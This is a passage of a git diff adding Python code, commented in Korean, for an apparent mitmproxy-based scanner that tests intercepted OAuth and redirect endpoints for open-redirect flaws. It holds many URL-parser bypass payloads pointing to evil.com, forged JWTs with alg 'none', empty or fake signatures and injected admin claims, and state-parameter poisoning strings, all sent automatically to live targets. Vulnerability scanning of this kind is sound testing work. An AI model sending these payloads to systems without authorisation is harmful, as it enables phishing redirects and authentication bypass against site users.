userinfo 우회 + def _mutate_pattern20(self, original: str) -> str: + return f"https://{original};evil.com" + + # 21. %09 - 탭 문자 우회 + def _mutate_pattern21(self, original: str) -> str: + return f"https://evil.com%09@{original}" + + # 22. %20 - 공백 문자 우회 + def _mutate_pattern22(self, original: str) -> str: + return f"https://evil.com%20@{original}" + + # 23. %0c - 폼 피드 문자 우회 + def _mutate_pattern23(self, original: str) -> str: + return f"https://evil.com%0c@{original}" + + # 24. %0b - 수직 탭 문자 우회 + def _mutate_pattern24(self, original: str) -> str: + return f"https://evil.com%0b@{original}" + + # 25. %0a@ - 줄바꿈 문자 우회 + def _mutate_pattern25(self, original: str) -> str: + return f"https://evil.com%0a@{original}" + + # 26. %0d@ - 캐리지 리턴 우회 (URL parser confusion) + def _mutate_pattern26(self, original: str) -> str: + return f"https://evil.com%0d@{original}" + + # 27. CRLF 인젝션 우회 + def _mutate_pattern27(self, original: str) -> str: + # %0D%0A = CRLF (Carriage Return + Line Feed) - HTTP 헤더 인젝션 + return f"https://evil.com%0D%0A@{original}" + + # 28. HTTP/HTTPS 대소문자 혼합 스키마 우회 + def _mutate_pattern28(self, original: str) -> str: + return f"HtTpS://evil.com@{original}" + + # 29. 점(.) 문자 우회 - 스키마와 호스트 사이에 점 삽입 (표준 위반 = 취약점) + def _mutate_pattern29(self, original: str) -> str: + return f"https.://evil.com@{original}" + + # 30. 포트 인코딩 우회 - %40 = @ + def _mutate_pattern30(self, original: str) -> str: + return f"https://{original}:%40evil.com" + + # 31. 앰퍼샌드 인코딩 우회 - URL 파싱 혼동 + def _mutate_pattern31(self, original: str) -> str: + return f"https://{original} &%40evil.com" + + # 32. 언더스코어 인코딩 우회 - 도메인 분리자로 오인 + def _mutate_pattern32(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + return f"https://{parsed.netloc}.%5F.evil.com{path_part}" + + # 33. 콤마 분리자 우회 - 일부 파서에서 분리자로 인식 + def _mutate_pattern33(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + return f"https://{parsed.netloc}.%2C.evil.com{path_part}" + + # 34. 스키마 없는 우회 + def _mutate_pattern34(self, original: str) -> str: + return f"//evil.com/{original}" + + # 35. 스키마 콜론 우회 - RFC 위반 파싱 + def _mutate_pattern35(self, original: str) -> str: + return f"http:evil.com/{original}" + + # 36. 널 바이트 prefix - 파싱 혼동 + def _mutate_pattern36(self, original: str) -> str: + return f"%00https://evil.com/{original}" + + # 37. 유니코드 공백 문자 - %E2%80%8B = zero-width space + def _mutate_pattern37(self, original: str) -> str: + return f"https://evil.com%E2%80%8B@{original}" + + # 38. 대괄호 인코딩 우회 + def _mutate_pattern38(self, original: str) -> str: + return f"https://{original}%5B%40evil.com" + + # 39. 프로토콜 생략 + 백슬래시 + def _mutate_pattern39(self, original: str) -> str: + parsed = urlparse(original) + return f"\\\\evil.com\\{parsed.netloc}" + + # 40. 쿼리 파라미터 내부 우회 + def _mutate_pattern40(self, original: str) -> str: + parsed = urlparse(original) + return f"https://{parsed.netloc}?url={parsed.netloc}&redirect=evil.com" + + # 41. 앵커 태그 + @ 조합 + def _mutate_pattern41(self, original: str) -> str: + parsed = urlparse(original) + return f"https://{parsed.netloc}#evil.com@{parsed.netloc}" + + # 42. 이모티콘 도메인 + def _mutate_pattern42(self, original: str) -> str: + return f"https://😈.evil.com" + + # 43. Punycode IDN 우회 (러시아어 evil.ru) + def _mutate_pattern43(self, original: str) -> str: + return f"https://xn--e1afmkfd.xn--p1ai" # evil в 러시아어 + + # 44. 백틱 + @ 조합 + def _mutate_pattern44(self, original: str) -> str: + return f"https://evil.com`@{original}" + + # 45. 복잡한 인코딩 혼합 + def _mutate_pattern45(self, original: str) -> str: + return f"https://evil%2Ecom%09%0A%FF@{original}" + + # 46. 물음표 + 백슬래시 조합 + def _mutate_pattern46(self, original: str) -> str: + return f"https://{original}?\\evil.com" + + # 47. JWT 'none' 알고리즘 우회 + def _mutate_pattern47(self, original: str) -> str: + import base64 + import json + + # 'none' 알고리즘으로 서명 없는 JWT 생성 + header = {"alg": "none", "typ": "JWT"} + payload = { + "redirect": "https://evil.com", + "iss": "evil.com", + "aud": "client_app", + "exp": 9999999999 + } + + header_b64 = base64.urlsafe_b64encode( + json.dumps(header, separators=(',', ':')).encode() + ).decode().rstrip('=') + + payload_b64 = base64.urlsafe_b64encode( + json.dumps(payload, separators=(',', ':')).encode() + ).decode().rstrip('=') + + # 서명 부분을 빈 문자열로 (none 알고리즘) + malicious_jwt = f"{header_b64}.{payload_b64}." + + parsed = urlparse(original) + return f"https://{parsed.netloc}{parsed.path}?state={malicious_jwt}&redirect_uri=https://evil.com" + + # 48. JWT 빈 서명 우회 + def _mutate_pattern48(self, original: str) -> str: + import base64 + import json + + # 정상적인 헤더이지만 서명은 빈 값 + header = {"alg": "HS256", "typ": "JWT"} + payload = {"redirect": "https://evil.com"} + + header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') + payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=') + + # 서명 부분만 비우기 + malicious_jwt = f"{header_b64}.{payload_b64}." + + parsed = urlparse(original) + return f"https://{parsed.netloc}{parsed.path}?state={malicious_jwt}&redirect_uri=https://evil.com" + + # 49. State 파라미터 오염 공격 + def _mutate_pattern49(self, original: str) -> str: + parsed = urlparse(original) + query = parse_qs(parsed.query) + + # 원본 쿼리 파라미터 유지하면서 state 여러 개 추가 + evil_params = [] + for key, values in query.items(): + for value in values: + evil_params.append(f"{key}={value}") + + # 여러 state 파라미터 추가 (파서 혼동 유발) + evil_params.extend([ + "state=legitimate_state", + "state=https://evil.com", + "State=https://evil.com", # 대문자 + "STATE=https://evil.com", # 모두 대문자 + "redirect_uri=https://evil.com" + ]) + + evil_query = "&".join(evil_params) + return f"https://{parsed.netloc}{parsed.path}?{evil_query}" + + def _mutate_pattern50(self, original: str) -> str: + """50. State 파라미터 대소문자 변형""" + parsed = urlparse(original) + base_url = f"https://{parsed.netloc}{parsed.path}" + + # 대소문자 조합으로 파서 혼동 + return f"{base_url}?state=normal&State=https://evil.com&STATE=backup&redirect_uri=https://evil.com" + + # 51. JWT 헤더 조작 우회 + def _mutate_pattern51(self, original: str) -> str: + import base64 + import json + + # 헤더에 이상한 값들 넣어보기 + malicious_headers = [ + {"alg": "none", "typ": "JWT", "kid": "../../../evil.com"}, + {"alg": "HS256", "typ": "JWS"}, # typ 변경 + {"alg": "RS256", "typ": "JWT", "x5u": "https://evil.com/cert"}, # 외부 인증서 + ] + + results = [] + for header in malicious_headers: + payload = {"redirect": "https://evil.com"} + + header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') + payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=') + + jwt_token = f"{header_b64}.{payload_b64}.fake_signature" + results.append(jwt_token) + + # 첫 번째 조작된 JWT 사용 + parsed = urlparse(original) + return f"https://{parsed.netloc}{parsed.path}?state={results[0]}&redirect_uri=https://evil.com" + + # 52. JWT 페이로드 오염 공격 + def _mutate_pattern52(self, original: str) -> str: + import base64 + import json + + # 페이로드에 다양한 클레임 주입 + malicious_payload = { + "iss": "https://evil.com", # 발급자 변조 + "aud": "evil_client", # 대상 변조 + "redirect": "https://evil.com", # 직접적인 리다이렉트 + "redirect_uri": "https://evil.com", # OAuth 파라미터 + "url": "https://evil.com", # 일반적인 URL 파라미터 + "callback": "https://evil.com", # 콜백 URL + "return_to": "https://evil.com", # 리턴 URL + "admin": True, # 권한 상승 시도 + "role": "admin" # 역할 변조 + } + + header = {"alg": "HS256", "typ": "JWT"} + + header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') + payload_b64 = base64.urlsafe_b64encode(json.dumps(malicious_payload).encode()).decode().rstrip('=') + + jwt_token = f"{header_b64}.{payload_b64}.evil_signature" + + parsed = urlparse(original) + return f"https://{parsed.netloc}{parsed.path}?state={jwt_token}&redirect_uri=https://evil.com" + + '''aiohttp 세션 생성 (재사용)''' + async def _get_session(self): + if self.session is None: + timeout = aiohttp.ClientTimeout(total=10) + self.session = aiohttp.ClientSession(timeout=timeout) + return self.session + + '''세션 정리''' + async def close_session(self): + if self.session: + await self.session.close() + self.session = None + + """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ + async def _send_request(self, url, headers=None, record_to_limiter=True): + try: + session = await self._get_session() # 세션 준비 + request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 + + # 서버에 GET 요청 전송 (allow_redirects=False로 리다이렉트 추적) + async with session.get(url, allow_redirects=False, headers=request_headers) as response: + result = { + 'status': response.status, + 'location': response.headers.get("Location", ""), + 'headers': dict(response.headers) + } + + # 성공/실패 기록 (rate limiter용) + if record_to_limiter: + if response.status in [200, 301, 302, 303, 307, 308]: + redirect_limiter.record_success() + else: + redirect_limiter.record_failure(f"HTTP {response.status}") + + return result + + except Exception as e: + redirect_limiter.record_failure(str(e)) + print(f"[ERROR] 요청 실패 ({url}): {e}") + return {'status': 500, 'location': '', 'headers': {}} + + def _track_redirect_uri_from_authorization(self, url, parsed, query): + """Authorization 요청에서 redirect_uri 추적""" + + # 메이저 OAuth 제공자에서만 추적 + major_oauth_providers = [ + "accounts.google.com", "oauth2.googleapis.com", + "www.facebook.com", "facebook.com", "graph.facebook.com", + "github.com", "api.github.com", + "login.microsoftonline.com", "login.live.com", + "login.microsoft.com", "account.microsoft.com", + "appleid.apple.com", "accounts.apple.com", + "login.yahoo.com", "accounts.twitter.com", "api.twitter.com", + "linkedin.com", "www.linkedin.com" + ] + + # 메이저 OAuth 제공자가 아니면 추적하지 않음 + if not any(provider in parsed.netloc for provider in major_oauth_providers): + return False + + if 'redirect_uri' in query: + redirect_uri = unquote(query['redirect_uri'][0]) + + # 글로벌 저장소에 추가 + GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris'].add(redirect_uri) + + print(f"[REDIRECT_TRACKING] 📝 redirect_uri 추적: {redirect_uri}") + + # 정기적인 정리 + self._cleanup_old_tracking_data() + + return True + + def _is_tracked_oauth_callback(self, url, parsed, query): + """추적된 redirect_uri와 현재 요청이 매칭되는지 확인""" + + current_base_url = f"https://{parsed.netloc}{parsed.path}" + + if not GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris']: + return False + + for tracked_uri in GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris']: + if current_base_url == tracked_uri: + return True + + return False + + def _is_client_redirect_request(self, url, parsed, query): + """OAuth 콜백 감지 - OAuth 로그인 완료 후 돌아온 페이지인가 확인""" + + # B2B/내부 시스템 도메인 제외 + internal_domains = [ + 'zendesk.com', + 'salesforce.com', + 'servicenow.com', + 'atlassian.com', + ] + + if any(domain in parsed.netloc.lower() for domain in internal_domains): + return False + + # OAuth 제공자 제외 + oauth_provider_domains = [ + # Google + "accounts.google.com", "oauth2.googleapis.com", + # Facebook/Meta + "www.facebook.com", "facebook.com", "graph.facebook.com", + # Microsoft + "login.live.com", "login.microsoftonline.com", "account.live.com", + "login.windows.net", "login.microsoft.com", + # GitHub + "github.com", "api.github.com", + # Apple + "appleid.apple.com", "accounts.apple.com", + # Others + "login.yahoo.com", "accounts.twitter.com", "api.twitter.com", + "linkedin.com", "www.linkedin.com", + "kauth.kakao.com", "accounts.kakao.com", + # 추가 제외할 제공자들 + "auth0.com", "okta.com", "onelogin.com" + ] + + if any(provider in parsed.netloc for provider in oauth_provider_domains): + return False + + # 0. 추적된 redirect_uri 매칭 + if self._is_tracked_oauth_callback(url, parsed, query): + # OAuth 응답 파라미터도 확인 + oauth_response_params = ['code', 'access_token', 'id_token', 'state', 'error'] + has_oauth_response = any(param in query for param in oauth_response_params) + + if has_oauth_response: + print(f"[TRACKED_OAUTH] 🎯 추적된 OAuth 콜백 감지: {parsed.netloc}") + return True + + # 1. URL 경로로 OAuth 콜백인지 확인 - 기존 OAuth 콜백 패턴 + oauth_callback_patterns = [ + '/oauth/callback', '/auth/callback', '/login/callback', + '/oauth/redirect', '/auth/return', '/sso/callback', + '/signup', '/register', + '/api/auth/v3/social/callback', '/social/callback', '/auth/social/callback', + '/access/return_to', '/access/', '/return', + ] + + path = parsed.path.lower() + is_oauth_callback = any(pattern in path for pattern in oauth_callback_patterns) + + # 2. OAuth 응답 파라미터 확인 - URL에 아래 정보 있는지 확인 + oauth_response_params = [ + 'code', 'access_token', 'id_token', 'state', 'error', + 'from' # from=fb, from=google 등 + ] + + has_oauth_response = any(param in query for param in oauth_response_params) + + # 3. 소셜 로그인 패턴 감지 - 어디서 로그인했는지 확인 + def has_social_login_pattern(query_string): + import re + + # 패턴 1: 간단한 소셜 식별자 + simple_patterns = [ + 'from=fb', 'from=facebook', 'from=google', 'from=github', + 'provider=google', 'provider=facebook', + 'callback/google', 'callback/github', 'callback/facebook' # ← URL 경로 패턴 + ] + has_simple = any(pattern in query_string.lower() for pattern in simple_patterns) + + # 패턴 2: URL 형태 + url_pattern = r'from=https?%3A%2F%2F' # from=https:// (URL 인코딩됨) + has_url = bool(re.search(url_pattern, query_string)) + + return has_simple or has_url + + query_string = parsed.query + has_social_login = has_social_login_pattern(query_string) + + # 4. 리다이렉트 파라미터(우리가 공격할 타겟) 확인 + client_redirect_params = [ + 'next', 'return_to', 'continue', 'redirect_uri', 'redirect_url', + 'destination', 'success_url', 'callback_url', 'goto', 'forward_to', + 'redirectUrl', 'redirectURL', 'redirect_to', 'returnUrl', 'returnURL', + 'from', 'target', 'targetUrl', 'targetURL', + ] + + has_redirect_param = any(param in query for param in client_redirect_params) + + # 5. OAuth 혼합 패턴 감지 (요청+응답 파라미터 동시 존재) + oauth_request_params = ['client_id', 'response_type'] + oauth_redirect_params = ['return_to', 'redirect_uri'] + has_oauth_request = any(param in query for param in oauth_request_params) + has_oauth_redirect = any(param in query for param in oauth_redirect_params) + + # 최종 판단 기준 1 - (콜백 경로 + OAuth 파라미터) 또는 소셜 로그인 있고, 리다이렉트 파라미터 또는 state 있으면 → OAuth 콜백! + if (is_oauth_callback and has_oauth_response) or has_social_login: + if has_redirect_param or 'state' in query: + print(f"[CLIENT_OAUTH] 📱 OAuth 콜백 감지: {parsed.netloc}") + return True + + # 최종 판단 기준 2 - OAuth 요청 파라미터와 리다이렉트 파라미터가 둘 다 있으면 → OAuth 혼합 패턴! + if has_oauth_request and has_oauth_redirect: + print(f"[CLIENT_OAUTH] 📱 OAuth 혼합 패턴 감지: {parsed.netloc}") + return True + + # 리다이렉트 패턴 + 리다이렉트 파라미터면 충분 + if is_oauth_callback and has_redirect_param: + print(f"[CLIENT_REDIRECT] 📱 최종 리다이렉트 엔드포인트 감지: {parsed.netloc}") + return True + + return False + + def _is_self_oauth_request(self, url, parsed, query): + """자체 OAuth - authorize 엔드포인트 요청인지 확인 (로그인 불필요)""" + + # OAuth 제공자 도메인 제외 + oauth_provider_domains = [ + "accounts.google.com", "oauth2.googleapis.com", + "www.facebook.com", "facebook.com", "graph.facebook.com", + "github.com", "api.github.com", + "login.microsoftonline.com", "login.live.com", + "account.live.com", "login.windows.net", "login.microsoft.com", + "appleid.apple.com", "accounts.apple.com", + "login.yahoo.com", "accounts.twitter.com","api.twitter.com", + "linkedin.com", "www.linkedin.com", + "okta.com", + "auth0.com", "onelogin.com", + ] + + if any(provider in parsed.netloc for provider in oauth_provider_domains): + return False + + # B2B 연동 제외 (redirect_uri 기반) + if 'redirect_uri' in query: + redirect_uri = unquote(query['redirect_uri'][0]) + + # B2B/내부 시스템 도메인들 + internal_domains = [ + 'zendesk.com', + 'salesforce.com', + 'servicenow.com', + 'atlassian.com', + 'slack.com', + ] + + # redirect_uri가 내부 시스템이면 제외 + if any(domain in redirect_uri.lower() for domain in internal_domains): + return False + + # 내부 시스템 연동 경로 제외 + internal_system_patterns = [ + '/websso/bootstrap', # SSO 부트스트랩 + '/api/internal/', # 내부 API + '/system/', # 시스템 연동 + ] + + path = parsed.path.lower() + if any(pattern in path for pattern in internal_system_patterns): + return False + + # 1. 자체 OAuth 엔드포인트 패턴 확인 + oauth_endpoints = [ + '/oauth/authorize', '/oauth/auth', '/auth/oauth', + '/sso/authorize', '/api/oauth/authorize', + '/v1/oauth/authorize', '/oauth2/authorize', + '/oauth2/v1/authorize', + '/authorize', # 일반적인 authorize 추가 + '/auth/realms', # Keycloak 패턴 + '/connect/authorize', # IdentityServer 패턴 + '/idp/', # ← Identity Provider 패턴 + '/signin', # ← Sign-in 패턴 + '/auth/signin', # ← Auth Sign-in 패턴 + '/identity/', # ← Identity 패턴 + ] + + path = parsed.path.lower() + is_oauth_path = any(endpoint in path for endpoint in oauth_endpoints) + + # 2. OAuth 요청 파라미터 확인 - OAuth 로그인에 필요한 정보들이 있는지 확인 + oauth_request_params = ['client_id', 'redirect_uri', 'response_type', 'scope'] + has_oauth_params = any(param in query for param in oauth_request_params) + + # 3. 표준 OAuth 파라미터 조합 확인 - OAuth의 핵심 3요소가 모두 있는지 확인 + has_standard_oauth = ( + 'client_id' in query and + 'redirect_uri' in query and + 'response_type' in query + ) + + # 최종 판단 기준 - 조건 1: (OAuth 경로 + OAuth 파라미터) 있거나 조건 2: 표준 OAuth 3요소 모두 있으면 → 자체 OAuth 시스템! + if (is_oauth_path and has_oauth_params) or has_standard_oauth: + print(f"[SELF_OAUTH] 🏠 자체 OAuth 제공자 감지: {parsed.netloc}") + return True + + return False + + async def test(self, flow: http.HTTPFlow): + """테스트 시작점 - url 받아와서 oauth 콜백/자체 oauth인지 체크""" + url = flow.request.pretty_url + parsed = urlparse(url) + query = parse_qs(parsed.query) + + if flow.request.method != "GET": + return + + # 1. Authorization 요청에서 redirect_uri 추적 + if self._track_redirect_uri_from_authorization(url, parsed, query): + return # Authorization 요청은 여기서 끝 + + # 2. 각 조건을 독립적으로 체크하여 우선순위 결정 + is_tracked_callback = self._is_tracked_oauth_callback(url, parsed, query) + is_self_oauth = self._is_self_oauth_request(url, parsed, query) + is_client_redirect = self._is_client_redirect_request(url, parsed, query) + + # 3. 우선순위에 따라 테스트 (높은 위험도 우선) + if is_self_oauth: # 가장 높은 위험도 + print(f"[TEST_TYPE] 🏠 자체 OAuth 시스템: {parsed.netloc}") + await self._test_oauth_redirect(url, parsed, query, test_type="SELF_OAUTH") + elif is_tracked_callback: # 중간 위험도 + print(f"[TEST_TYPE] 🎯 추적된 OAuth 콜백: {parsed.netloc}") + await self._test_oauth_redirect(url, parsed, query, test_type="TRACKED_CALLBACK") + elif is_client_redirect: # 일반 위험도 + print(f"[TEST_TYPE] 📱 클라이언트 리다이렉트: {parsed.netloc}") + await self._test_oauth_redirect(url, parsed, query, test_type="CLIENT_REDIRECT") + + return + + def _remove_tracked_uri(self, uri_to_remove): + """테스트 완료된 URI를 추적 목록에서 제거""" + if uri_to_remove in GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris']: + GLOBAL_REDIRECT_TRACKING['tracked_redirect_uris'].discard(uri_to_remove) + + async def _test_oauth_redirect(self, url, parsed, query, test_type="UNKNOWN"): + """OAuth 리다이렉트 취약점 테스트""" + + # 테스트 타입별로 중복 방지 + endpoint_key = f"{test_type}:{parsed.netloc}{parsed.path}" + + if endpoint_key in self.tested_endpoints: + return # 이미 테스트했으므로 패스 + if endpoint_key in self.testing_targets: + return # 현재 테스트 중이므로 패스 + + self.testing_targets.add(endpoint_key) + + # 현재 테스트할 URI 저장 + current_uri = f"https://{parsed.netloc}{parsed.path}" + + try: + print(f"[START] 🔍 테스트 시작 ({test_type}): {parsed.netloc}{parsed.path}") + print(f"[TARGET] 타겟: {parsed.netloc}") + + # 1. state 파라미터 확인 후 조작 + if 'state' in query: + await self._test_state_parameter_manipulation(url, parsed, query) + + # 일반 리다이렉트 파라미터 테스트를 위해 Rate Limiter 리셋 + redirect_limiter.reset_for_new_target() + + # 2. 테스트할 파라미터들 찾기 + test_params = [] + + # redirect_uri (자체 OAuth에서 주로 사용) + if 'redirect_uri' in query: + test_params.append(('redirect_uri', query['redirect_uri'][0])) + + # 클라이언트 리다이렉트 파라미터들 + client_redirect_params = [ + 'next', 'return_to', 'continue', 'redirect_url', + 'destination', 'success_url', 'callback_url', 'goto', 'forward_to', + 'redirectUrl', 'from', 'target' + ] + + for param in client_redirect_params: + if param in query: + test_params.append((param, query[param][0])) + + # 테스트할 파라미터가 없으면 종료 + if not test_params: + print(f"[{test_type}] 리다이렉트 파라미터 없음 - 테스트 ❌") + # 테스트할 파라미터 없을 때도 URI 정리 + if test_type == "TRACKED_CALLBACK": + self._remove_tracked_uri(current_uri) + return + + print(f"[OAUTH] 📍 발견된 파라미터들: {test_params}") + print(f"[OPEN_REDIRECT] 총 우회 패턴: {len(self.bypass_payloads)}") + print("-" * 50) + + success_count = 0 + + # 3. 각 파라미터별로 모든 우회 패턴 테스트 + for param_name, original_value in test_params: + print(f"\n[{test_type}] 🎯 {param_name} 파라미터 테스트 시작") + + for i, payload in enumerate(self.bypass_payloads, 1): + print(f"[{i:2d}/{len(self.bypass_payloads)}] {payload.name}", end=" ... ") + + if i % 10 == 0: + progress = (i / len(self.bypass_payloads)) * 100 + print(f"\n[PROGRESS] 📊 {i}/{len(self.bypass_payloads)} 패턴 테스트 완료 ({progress:.1f}%)") + + result = await self._test_bypass_pattern( + url, query, parsed, original_value, payload, param_name + ) + + if result: + success_count += 1 + print("🚨 VULNERABLE!") + else: + print("✓") + + # 조기 종료 체크 (연속 실패) + can_proceed = await redirect_limiter.wait_if_needed(payload.name) + if not can_proceed: + print(f"\n[TARGET_ABANDON] 🚫 타겟 포기로 인한 테스트 조기 종료") + break + + # 한 파라미터에서 포기했으면 다른 파라미터도 건너뛰기 + if redirect_limiter.should_abandon_target: + break + + print("-" * 50) + print(f"[OAUTH] ✅ OAuth 테스트 완료: {success_count}개 취약점") + + # 테스트 완료 후 URI 정리 + if test_type == "TRACKED_CALLBACK": + self._remove_tracked_uri(current_uri) + + except Exception as e: + print(f"[ERROR] {test_type} 테스트 실패: {e}") + # 에러 발생 시에도 URI 정리 + if test_type == "TRACKED_CALLBACK": + self._remove_tracked_uri(current_uri) + finally: + self.testing_targets.discard(endpoint_key) + self.tested_endpoints.add(endpoint_key) + await self.close_session() + + async def _test_state_parameter_manipulation(self, url, parsed, query): + """State 파라미터 조작 테스트""" + print(f"[STATE_TEST] 🔍 State 파라미터 조작 테스트") + + # 원본 state 확인 + original_state = query['state'][0] + print(f"[STATE_TEST] 원본 state: {original_state[:50]}...") + + # State 공격 패턴들 + state_attacks = { + "state_direct_url": "https://evil.com", + "state_protocol_relative": "//evil.com", + "state_json_redirect": '{"redirect": "https://evil.com"}', + "state_json_return_to": '{"return_to": "https://evil.com"}', + "state_json_callback": '{"callback": "https://evil.com"}', + "state_query_redirect": "redirect=https://evil.com", + "state_query_return_to": "return_to=https://evil.com", + "state_base64_json": "eyJyZWRpcmVjdCI6ICJodHRwczovL2V2aWwuY29tIn0=", + "state_jwt_attack": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyZWRpcmVjdCI6Imh0dHBzOi8vZXZpbC5jb20ifQ.", + "state_original_append": f"{original_state}&redirect=https://evil.com", + "state_original_pipe": f"{original_state}|https://evil.com", + "state_url_encoded": "https%3A//evil.com" + } + + success_count = 0 + + for i, (attack_name, malicious_state) in enumerate(state_attacks.items(), 1): + print(f"[STATE_TEST] [{i:2d}/{len(state_attacks)}] {attack_name}") + + # 원본 쿼리 복사하고 state만 변경 + modified_query = query.copy() + modified_query['state'] = [malicious_state] + + # 새 URL 생성 + new_query_string = urlencode(modified_query, doseq=True) + test_url = urlunparse(parsed._replace(query=new_query_string)) + + # 요청 전송 + response = await self._send_request(test_url, record_to_limiter=False) + + # State 전용 취약점 분석 + if await self._analyze_state_vulnerability(url, test_url, malicious_state, response, attack_name): + success_count += 1 + print(f"[STATE_TEST] ✅ 취약점 발견! {attack_name}") + else: + print(f"[STATE_TEST] ✓ {attack_name}") + + await asyncio.sleep(1) # 1초 대기 + + print(f"[STATE_TEST] ✅ State 테스트 완료: {success_count}/{len(state_attacks)} 취약점 발견") + + async def _analyze_state_vulnerability(self, original_url, test_url, malicious_state, response, attack_name): + """State 파라미터 취약점 전용 분석""" + status = response['status'] + location = response['location'] + + # 리다이렉트 응답인지 확인 + if status not in [301, 302, 303, 307, 308]: + return False + + if not location: + return False + + # 악성 도메인으로 리다이렉트되었는지 확인 + if self._is_redirected_to_malicious_domain(location): + + print(f"[🎯 VULNERABILITY CONFIRMED] OAuth State 조작 취약점 발견!") + + await self._report_state_vulnerability( + original_url, test_url, malicious_state, + location, attack_name + ) + return True + + return False + + async def _report_state_vulnerability(self, original_url, test_url, malicious_state, location, attack_name): + """State 파라미터 취약점 전용 리포트""" + + description = ( + f"OAuth State Parameter Manipulation 취약점 발견!\n\n" + f"• 공격 방법: {attack_name}\n" + f"• 원본 URL: {original_url}\n" + f"• 조작된 state 값: {malicious_state}\n" + f"• 테스트 URL: {test_url}\n" + f"• 실제 리다이렉트 위치: {location}\n\n" + f"🚨 State 파라미터 조작을 통한 피싱 공격이 가능합니다!\n" + ) + + report_vuln( + title="OAuth State Parameter Manipulation Vulnerability", + desc=description, + status="HIGH", + uri=test_url + ) + + print(f"🎯 OAuth State 조작 취약점 발견 및 보고 완료!") + + """ 우회 URL 생성 및 요청 전송 """ + async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_value, payload, redirect_param): + + # 레이트 리미팅 체크 + can_proceed = await redirect_limiter.wait_if_needed(payload.name) + if not can_proceed: + return False + + try: + # 1. 우회 URL 생성 + if original_redirect_value.startswith('http'): + # 이미 완전한 URL인 경우 + bypassed_redirect = payload.mutate(original_redirect_value) + else: + # 상대 경로인 경우 완전한 URL로 만들어서 우회 + full_original = f"https://{original_redirect_value}" + bypassed_redirect = payload.mutate(full_original) + + # 2. 파라미터 보존 전략 - 원본 url의 다른 파라미터들은 그대로 두고 redirect 파라미터만 악성으로 바꿈 + modified_query = query.copy() + modified_query[redirect_param] = [bypassed_redirect] + + new_query_string = urlencode(modified_query, doseq=True) + test_url = urlunparse(parsed_url._replace(query=new_query_string)) + + # 3. 요청 전송 + response = await self._send_request(test_url) + + # 4. 응답 분석 + result = await self._analyze_response(original_url, test_url, bypassed_redirect, response, payload) + + return result + + except Exception as e: + print(f"[PATTERN] ❌ {payload.name} → ERROR: {e}") + return False + + """ 응답 분석 """ + async def _analyze_response(self, original_url, test_url, bypassed_redirect, response, payload): + status = response['status'] + location = response['location'] + + # 리다이렉트 응답인지 확인 + if status not in [301, 302, 303, 307, 308]: + return False + + if not location: + return False + + # 악성 도메인으로 리다이렉트되었는지 확인 + if self._is_redirected_to_malicious_domain(location): + + print(f"[🎯 VULNERABILITY CONFIRMED] Open Redirect 취약점 발견!") + + await self._report_open_redirect_vulnerability( + original_url, test_url, bypassed_redirect, + location, payload + ) + return True + + return False + + def _is_redirected_to_malicious_domain(self, location: str) -> bool: + """실제로 악성 도메인으로 리다이렉트되었는지 확인""" + + try: + location_parsed = urlparse(location) + location_host = location_parsed.hostname + + # 실제 호스트만 확인 (URL 파라미터는 무시) + if not location_host: + return False + + # 메이저 OAuth 제공자 도메인이면 취약점 아님 + safe_domains = [ + # Google (구글) + "accounts.google.com", "google.com", "www.google.com", + "oauth2.googleapis.com", "accounts.youtube.com", + + # Facebook/Meta (페이스북) + "www.facebook.com", "facebook.com", "m.facebook.com", + "graph.facebook.com", "developers.facebook.com", + + # GitHub (깃헙) ← 추가! + "github.com", "www.github.com", "api.github.com", + + # Microsoft (마이크로소프트) ← 추가! + "login.microsoftonline.com", "login.live.com", + "account.live.com", "login.windows.net", "login.microsoft.com", + "outlook.live.com", "account.microsoft.com", + ] + if any(safe_domain in location_host.lower() for safe_domain in safe_domains): + return False + + # 실제 악성 도메인들 + malicious_domains = ["evil.com", "attacker.com", "malicious.site"] + if any(domain in location_host.lower() for domain in malicious_domains): + print(f"[MALICIOUS_REDIRECT] 🚨 악성 도메인으로 리다이렉트 감지: {location_host}") + return True + + return False + + except Exception as e: + return False + + """ 취약점 보고서 생성 """ + async def _report_open_redirect_vulnerability(self, original_url, test_url, bypassed_redirect, location, payload): + """Open Redirect 취약점 보고서 생성""" + pattern_name = getattr(payload, 'name', 'unknown') + pattern_description = getattr(payload, 'description', 'Unknown bypass pattern') + + description = ( + f"Open Redirect 취약점 발견!\n\n" + f"• 우회 패턴: {pattern_name}\n" + f"• 설명: {pattern_description}\n" + f"• 원본 URL: {original_url}\n" + f"• 우회된 redirect 값: {bypassed_redirect}\n" + f"• 테스트 URL: {test_url}\n" + f"• 실제 리다이렉트 위치: {location}\n\n" + f"🚨 이 취약점을 이용하면 피싱 공격이 가능합니다!\n" + ) + + report_vuln( + title="OAuth Open Redirect Vulnerability", + desc=description, + status="MEDIUM", + uri=test_url + ) + print(f"🎯 OAuth Open Redirect 취약점 발견 및 보고 완료!") + + def reset_session(self): + """새 세션 시작 (새 타겟 사이트 테스트 시)""" + if len(self.tested_endpoints) > 1000: + old_entries = list(self.tested_endpoints)[:500] + for entry in old_entries: + self.tested_endpoints.discard(entry) + + self.testing_targets.clear() + + async def cleanup(self): + """정리 작업""" + await self.close_session() diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py deleted file mode 100644 index f6af225..0000000 --- a/addon/redirect_uri_check.py +++ /dev/null @@ -1,1400 +0,0 @@ -from mitmproxy import http -import aiohttp -import asyncio -import random -import time -from urllib.parse import urlparse, parse_qs, urlencode, urlunparse -from lib.report_vuln import report_vuln - -class RedirectRateLimiter: - """redirect_uri_check 전용 rate limiter""" - def __init__(self): - self.last_request = 0 - self.request_count = 0 - 